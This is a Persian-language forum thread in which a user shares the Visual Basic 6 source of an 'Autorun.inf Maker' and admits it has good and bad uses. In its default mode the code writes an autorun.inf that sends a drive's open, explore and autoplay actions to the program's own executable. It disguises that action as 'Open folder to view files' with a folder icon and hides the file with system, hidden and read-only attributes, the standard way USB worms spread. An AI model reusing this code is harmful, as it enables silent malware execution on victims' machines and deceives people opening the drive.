سلام این برنامه برای ساخت فایل autorun.inf هست که خیلی وقت پیش نوشتم دوستان پشنهاد دادند که اینجا بذارم. از این برنامه هم میشه استفاده ی خوب کرد و هم استفاده بد.
[ATTACH=CONFIG]39[/ATTACH]
+برنامه همراه سورس پیوست شد
پسورد فایل:
softafzar.net
سلام این برنامه برای ساخت فایل autorun.inf هست که خیلی وقت پیش نوشتم دوستان پشنهاد دادند که اینجا بذارم. از این برنامه هم میشه استفاده ی خوب کرد و هم استفاده بد.
[ATTACH=CONFIG]39[/ATTACH]
+برنامه همراه سورس پیوست شد
پسورد فایل:
softafzar.net
می شه سورس این برنامه رو بگذارید
بفرما :mellowsmiley:
'|---------[Autorun.inf Maker!]--------------|
'|---------[SoftAfzar.Net]-------------------|
'|---------[Programming.rzb.ir]--------------|
Option Explicit
Dim drv As String
Private Sub ch_custom_Click()
If ch_custom.Value = 0 Then Frame.Enabled = False Else Frame.Enabled = True
'enable contols for customization
Label1.Enabled = Frame.Enabled
Label2.Enabled = Frame.Enabled
Label3.Enabled = Frame.Enabled
Label4.Enabled = Frame.Enabled
Label6.Enabled = Frame.Enabled
Label7.Enabled = Frame.Enabled
Label8.Enabled = Frame.Enabled
Label9.Enabled = Frame.Enabled
Text2.Enabled = Frame.Enabled
Text3.Enabled = Frame.Enabled
Text4.Enabled = Frame.Enabled
Text5.Enabled = Frame.Enabled
Text6.Enabled = Frame.Enabled
Text7.Enabled = Frame.Enabled
Text8.Enabled = Frame.Enabled
Text9.Enabled = Frame.Enabled
Check2.Enabled = Frame.Enabled
End Sub
Private Sub ch_sys_Click()
If ch_sys.Value = 1 Then ch_hide.Enabled = False Else ch_hide.Enabled = True
End Sub
Private Sub cmd_create_Click()
Dim deb As Boolean
On Error GoTo deb:
Dim fs As Object
Dim A As Object
Dim done As String
Dim alert As String
drv = Left(Exist_Drive.Drive, 2) + "\"
Set fs = CreateObject("scripting.filesystemobject")
Set A = fs.createtextfile(drv + "autorun.inf", True)
If ch_custom.Value = 0 Then
A.writeline ("[Autorun]")
A.writeline ("shell\\Install\\command=" & App.EXEName + ".exe")
A.writeline ("shell\\open\\command=" & App.EXEName + ".exe")
A.writeline ("shell\\explore\\command=" & App.EXEName + ".exe")
A.writeline ("Shell\\open\\command=" & App.EXEName + ".exe")
A.writeline ("useautoplay=1")
A.writeline ("shellexecute=" & App.EXEName + ".exe")
A.writeline ("open=" & App.EXEName + ".exe")
A.writeline ("action=Open folder*to view files")
A.writeline ("icon=shell32.dll,4")
A.Close
If ch_sys.Value = 1 Then Shell "attrib +s +h +r" + " " + drv + "Autorun.inf", vbHide Else Shell "attrib -s -h -r" + " " + drv + "Autorun.inf", vbHide
If ch_hide.Value = 1 Then Shell "attrib +h" + " " + drv + "Autorun.inf", vbHide Else Shell "attrib -h" + " " + drv + "Autorun.inf", vbHide
Else
A.writeline ("[Autorun]")
A.writeline ("shell\\Install\\command=" & Text2.Text)
A.writeline ("shell\\open\\command=" & Text3.Text)
A.writeline ("shell\\explore\\command=" & Text4.Text)
A.writeline ("Shell\\open\\command=" & Text5.Text)
A.writeline ("useautoplay=" & Check2.Value)
A.writeline ("shellexecute=" & Text6.Text)
A.writeline ("open=" & Text7.Text)
A.writeline ("action=" & Text8.Text)
A.writeline ("icon=" & Text9.Text)
End If
If ch_sys.Value = 1 Then Shell "attrib +s +h +r" + " " + drv + "Autorun.inf", vbHide Else Shell "attrib -s -h -r" + " " + drv + "Autorun.inf", vbHide
If ch_hide.Value = 1 Then Shell "attrib +h" + " " + drv + "Autorun.inf", vbHide Else Shell "attrib -h" + " " + drv + "Autorun.inf", vbHide
If deb = False Then done = MsgBox("Autorun.inf Created Successfully on dive: " + Left(Exist_Drive, 1), vbInformation + vbOKOnly, "Work Done!")
Exit Sub
deb:
alert = MsgBox(Err.Description + "!" + Chr(13) + "Please Try again.", vbExclamation + vbOKOnly, "Error:" + Str(Err.Number))
Beep
End Sub
Private Sub Form_Load()
If App.CompanyName <> "SoftAfzar.Net" Then End
End Sub
ممنون:smiles (51):
ندونستن عیب نیست، نپرسیدن چرا!